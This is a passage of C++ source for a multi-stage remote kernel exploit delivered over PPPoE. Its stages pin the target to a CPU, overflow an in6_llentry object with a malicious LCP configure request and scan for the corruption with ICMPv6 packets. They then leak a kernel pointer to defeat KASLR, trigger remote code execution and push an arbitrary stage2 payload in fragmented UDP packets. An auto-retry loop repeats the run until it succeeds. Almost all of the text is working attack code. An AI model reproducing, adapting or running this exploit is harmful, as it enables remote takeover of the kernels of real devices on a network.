            if (pppLayer->getLayerPayload()[0] != ECHO_REQ) return;
            auto *etherLayer = parsedPacket.getLayerOfType<pcpp::EthLayer>();
            if (!etherLayer) return;
            auto &&echoReply = PacketBuilder::lcpEchoReply(etherLayer->getDestMac(), etherLayer->getSourceMac(),
                                                           pppLayer->getPPPoEHeader()->sessionId,
                                                           pppLayer->getLayerPayload()[1], // id
                                                           htole32(*(uint32_t * ) &
                                                                   pppLayer->getLayerPayload()[4])); // magic number
            device->sendPacket(&echoReply);
        }, nullptr);
    } catch (const std::system_error &e) {
        std::cout << "Cannot create new thread" << e.what() << std::endl;
    }

    /**
     * Send invalid packet to trigger a printf in the kernel. For some
     * reason, this causes scheduling on CPU 0 at some point, which makes
     * the next allocation use the same per-CPU cache.
     */
    {
        TIME_BEGIN_PERIOD();
        auto &&packet = PacketBuilder::pinCpu0(this->source_mac, this->target_mac);
        for (int i = 0; i < PIN_NUM; ++i) {
            if (i % 0x100 == 0) {
                std::cout << std::dec << "\r[*] Pinning to CPU 0..." << std::setfill('0') << std::setw(2)
                          << (100 * i / PIN_NUM) << "%" << std::flush;
            }
            dev->sendPacket(&packet);
            real_sleep ? cpuSleep(1) : pcpp::multiPlatformMSleep(1);
            CHECK_RUNNING();
        }
        TIME_END_PERIOD();
    }

    if (dev->captureActive()) dev->stopCapture();
    std::cout << "\r[+] Pinning to CPU 0...done" << std::endl;

    // LCP fails sometimes without the wait
    pcpp::multiPlatformMSleep(wait_after_pin * 1000);

    // Corrupt in6_llentry object
    {
        std::vector<uint8_t> overflow_lle = Exploit::build_overflow_lle(this);
        std::cout << "[*] Sending malicious LCP configure request..." << std::endl;
        auto &&packet = PacketBuilder::maliciousLcp(this->source_mac, this->target_mac, overflow_lle.data(),
                                                    overflow_lle.size());
        for (int i = 0; i < CORRUPT_NUM; ++i) {
            dev->sendPacket(&packet);
        }
    }

    std::cout << "[*] Waiting for LCP configure reject..." << std::endl;
    startBlockingCapture(
            [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                pcpp::Packet parsedPacket(packet);
                auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_LCP);
                if (layer) return layer->getLayerPayload()[0] == CONF_REJ;
                return false;
            });

    // Re-negotiate after rejection
    CHECK_RET(this->lcp_negotiation());
    CHECK_RET(this->ipcp_negotiation());

    bool corrupted = false;
    std::stringstream sourceIpv6;
    TIME_BEGIN_PERIOD();
    for (int i = SPRAY_NUM - 1; i >= 0; --i) {
        if (i % 0x100 == 0) {
            std::cout << "\r[*] Scanning for corrupted object... 0x"
                      << std::setfill('0') << std::setw(3)
                      << std::hex << i << std::flush;
        }

        if (i >= HOLE_START && i % HOLE_SPACE == 0) {
            continue;
        }

        sourceIpv6.clear();
        sourceIpv6.str("");
        sourceIpv6 << "fe80::" << std::setfill('0') << std::setw(4) << std::hex << i << ":41ff:9f9f:41ff";

        {
            auto &&packet = PacketBuilder::icmpv6Echo(this->source_mac, this->target_mac,
                                                      pcpp::IPv6Address(sourceIpv6.str()), this->target_ipv6);
            dev->sendPacket(&packet);
        }

        startBlockingCaptureWithCookie(
                [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                    pcpp::Packet parsedPacket(packet);
                    auto *corrupted = (bool *) cookie;
                    if (!parsedPacket.isPacketOfType(pcpp::ICMPv6)) return false;
                    auto *layer =
                            parsedPacket.getLayerOfType<pcpp::IcmpV6Layer>();
                    if (layer) {
                        if (layer->getMessageType() == pcpp::ICMPv6MessageType::ICMPv6_ECHO_REPLY) {
                            return true;
                        } else if (layer->getMessageType() ==
                                   pcpp::ICMPv6MessageType::ICMPv6_NEIGHBOR_SOLICITATION) {
                            *corrupted = true;
                            return true;
                        }
                    }
                    return false;
                }, &corrupted);

        if (corrupted) break;

        {
            auto &&packet = PacketBuilder::icmpv6Na(this->source_mac, this->target_mac,
                                                    pcpp::IPv6Address(sourceIpv6.str()), this->target_ipv6);
            dev->sendPacket(&packet);
        }

        if (i % groom_delay == 0) real_sleep ? cpuSleep(1) : pcpp::multiPlatformMSleep(1);
    }
    TIME_END_PERIOD();

    if (!corrupted) {
        std::cout << "\r[-] Scanning for corrupted object...failed." << std::endl;
        return RETURN_FAIL;
    }

    std::cout << "\r[+] Scanning for corrupted object...found " << sourceIpv6.str() << std::endl;
    return RETURN_SUCCESS;
}

int Exploit::stage2() {
    std::cout << std::endl << "[*] Defeating KASLR..." << std::endl;
    startBlockingCaptureWithCookie(
            [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                pcpp::Packet parsedPacket(packet, pcpp::ICMPv6);
                if (!parsedPacket.isPacketOfType(pcpp::ICMPv6)) return false;
                auto *ipv6Layer = parsedPacket.getLayerOfType<pcpp::IPv6Layer>();
                if (!ipv6Layer) return false;
                auto *icmpv6Layer = parsedPacket.getLayerOfType<pcpp::IcmpV6Layer>();
                if (!icmpv6Layer) return false;
                if (icmpv6Layer->getMessageType() != pcpp::ICMPv6MessageType::ICMPv6_NEIGHBOR_SOLICITATION)
                    return false;
                if (ipv6Layer->getLayerPayloadSize() < 24) return false;
                uint8_t *option = ipv6Layer->getLayerPayload() + 24;
                if (option[0] != 1) return false; // type 1 is ICMPv6NDOptSrcLLAddr
                if (option[1] > 1) {
                    auto *self = (Exploit *) cookie;
                    self->pppoe_softc_list = htole64(*(uint64_t * )(option + 3));
                    return true; // length > 1
                }
                return false;
            }, this);

    std::cout << "[+] pppoe_softc_list: 0x" << std::hex << pppoe_softc_list << std::endl;

    this->kaslr_offset = pppoe_softc_list - offs.PPPOE_SOFTC_LIST;
    std::cout << "[+] kaslr_offset: 0x" << std::hex << kaslr_offset << std::endl;

    if ((pppoe_softc_list & 0xffffffff00000fff) != (offs.PPPOE_SOFTC_LIST & 0xffffffff00000fff)) {
        std::cout << "[-] Error: Leak is invalid. Wrong firmware?" << std::endl;
        return RETURN_FAIL;
    }

    return RETURN_SUCCESS;
}

int Exploit::stage3() {
    std::cout << "[*] Sending LCP terminate request..." << std::endl;
    {
        auto &&packet = PacketBuilder::lcpTerminate(source_mac, target_mac);
        this->dev->sendPacket(&packet);
    }

    this->ppp_negotiation(Exploit::build_fake_lle);

    std::cout << "[*] Triggering code execution..." << std::endl;
    {
        auto &&packet = PacketBuilder::icmpv6Echo(this->source_mac, this->target_mac,
                                                  pcpp::IPv6Address(SOURCE_IPV6), this->target_ipv6);
        this->dev->sendPacket(&packet);
    }

    std::cout << "[*] Waiting for stage1 to resume..." << std::endl;
    int count = 0;
    startBlockingCaptureWithCookie(
            [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                auto *count = (int *) cookie;
                pcpp::Packet parsedPacket(packet);
                auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_LCP);
                if (!layer) return false;
                if (layer->getLayerPayload()[0] == CONF_REQ) (*count)++;
                if (*count >= 3) return true;
                return false;
            }, &count);

    std::cout << "[*] Sending PADT..." << std::endl;
    {
        auto &&packet = PacketBuilder::padt(source_mac, target_mac);
        this->dev->sendPacket(&packet);
    }

    CHECK_RET(this->ppp_negotiation(nullptr));
    CHECK_RET(this->lcp_negotiation());
    CHECK_RET(this->ipcp_negotiation());

    return RETURN_SUCCESS;
}

int Exploit::stage4() {
    std::cout << "[*] Sending stage2 payload..." << std::endl;

    uint64_t fragmentSize = 1024;
    uint64_t offset{};
    pcpp::UdpLayer udpLayer(53, STAGE2_PORT);
    while (offset < this->stage2_bin.size()) {
        pcpp::Packet packet;

        pcpp::EthLayer ether(this->source_mac, this->target_mac, PCPP_ETHERTYPE_IP);
        packet.addLayer(&ether);

        pcpp::IPv4Layer ipLayer((pcpp::IPv4Address(SOURCE_IPV4)), pcpp::IPv4Address(TARGET_IPV4));
        ipLayer.getIPv4Header()->timeToLive = 0x40;
        ipLayer.getIPv4Header()->ipId = htobe16(1);
        ipLayer.getIPv4Header()->protocol = pcpp::IPProtocolTypes::PACKETPP_IPPROTO_UDP;
        ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) | htobe16(0x2000);
        ipLayer.getFragmentOffset();
        packet.addLayer(&ipLayer);

        uint8_t *payload = this->stage2_bin.data() + offset;
        uint64_t payloadSize = fragmentSize;

        // first fragment
        if (offset == 0) {
            packet.addLayer(&udpLayer);
            payloadSize -= udpLayer.getDataLen();
        }

        // last fragment
        if (offset + payloadSize >= this->stage2_bin.size()) {
            ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) & htobe16(0x1FFF);
            payloadSize = this->stage2_bin.size() - offset;
        }

        pcpp::PayloadLayer payloadLayer(payload, payloadSize, false);
        packet.addLayer(&payloadLayer);

        packet.computeCalculateFields();

        offset += payloadSize;
        if (offset == payloadSize) {
            // first fragment, change udp packet length
            uint16_t real_length = udpLayer.getHeaderLen() + this->stage2_bin.size();
            auto udpHeader = udpLayer.getUdpHeader();
            udpHeader->length = htobe16(real_length);

            // Calculate checksum
            std::vector<uint8_t> temp(udpLayer.getHeaderLen());
            (*(uint16_t * ) & (temp)[0]) = udpHeader->portSrc;
            (*(uint16_t * ) & (temp)[2]) = udpHeader->portDst;
            (*(uint16_t * ) & (temp)[4]) = udpHeader->length;
            (*(uint16_t * ) & (temp)[6]) = 0;
            temp.insert(temp.end(), this->stage2_bin.begin(), this->stage2_bin.end());
            uint16_t checksumRes = pcpp::computePseudoHdrChecksum(temp.data(),
                                                                  temp.size(),
                                                                  pcpp::IPAddress::IPv4AddressType,
                                                                  pcpp::PACKETPP_IPPROTO_UDP,
                                                                  ipLayer.getSrcIPv4Address(),
                                                                  ipLayer.getDstIPv4Address());
            udpHeader->headerChecksum = htobe16(checksumRes);
        }
        dev->sendPacket(&packet);
    }

    std::cout << "[+] Done!" << std::endl;
    return RETURN_SUCCESS;
}

void Exploit::ppp_byebye() {
    std::cout << "[*] Sending PADT..." << std::endl;
    auto &&padt = PacketBuilder::padt(source_mac, target_mac);
    if (this->dev) this->dev->sendPacket(&padt);
    TIME_END_PERIOD();
}

int Exploit::_run() {
    running = true;
    if (dev == nullptr) return RETURN_FAIL;
    std::cout << std::endl << "[+] STAGE 0: Initialization" << std::endl;
    CHECK_RET(stage0());

    std::cout << std::endl << "[+] STAGE 1: Memory corruption" << std::endl;
    CHECK_RET(stage1());

    std::cout << std::endl << "[+] STAGE 2: KASLR defeat" << std::endl;
    CHECK_RET(stage2());

    std::cout << std::endl << "[+] STAGE 3: Remote code execution" << std::endl;
    CHECK_RET(stage3());

    std::cout << std::endl << "[+] STAGE 4: Arbitrary payload execution" << std::endl;
    CHECK_RET(stage4());

    return RETURN_SUCCESS;
}

int Exploit::run() {
    if (!auto_retry) return _run();

    while (true) {
        int ret = _run();
        if (ret == RETURN_SUCCESS) break;
        setWaitAfterPin(1);
        ppp_byebye();
        if (ret == RETURN_STOP) {
            std::cout << "[+] Stopped" << std::endl;
            return RETURN_STOP;
        }
        std::cout << "[*] Retry after 5s..." << std::endl;
        int i = 0;
        while (i < 50) {
            pcpp::multiPlatformMSleep(100);
            i++;
            if (!running) {
                std::cout << "[+] Stopped" << std::endl;
                return RETURN_STOP;
            }
        }
    }
    return RETURN_SUCCESS;
}

template<auto M, auto N>
struct Tunnel;

template<class T, class V, class Q, class U, T U::*M, Q V::*N>
struct Tunnel<M, N> {
    friend T &stopThread(U &u) {
        return u.*M;
    }

    friend Q &pcapHandle(V &u) {
        return u.*N;
    }
};

template
struct Tunnel<&pcpp::PcapLiveDevice::m_StopThread, &pcpp::IPcapDevice::m_PcapDescriptor>;

std::atomic<bool> &stopThread(pcpp::PcapLiveDevice &);

pcap_t *&pcapHandle(pcpp::IPcapDevice &);

void Exploit::stop() {
    running = false;
    if (!dev) return;
    if (dev->captureActive()) dev->stopCapture();
    // Force stop capture even if blocking mode is enabled
    pcap_breakloop(pcapHandle(*dev));
    stopThread(*dev) = true;
}
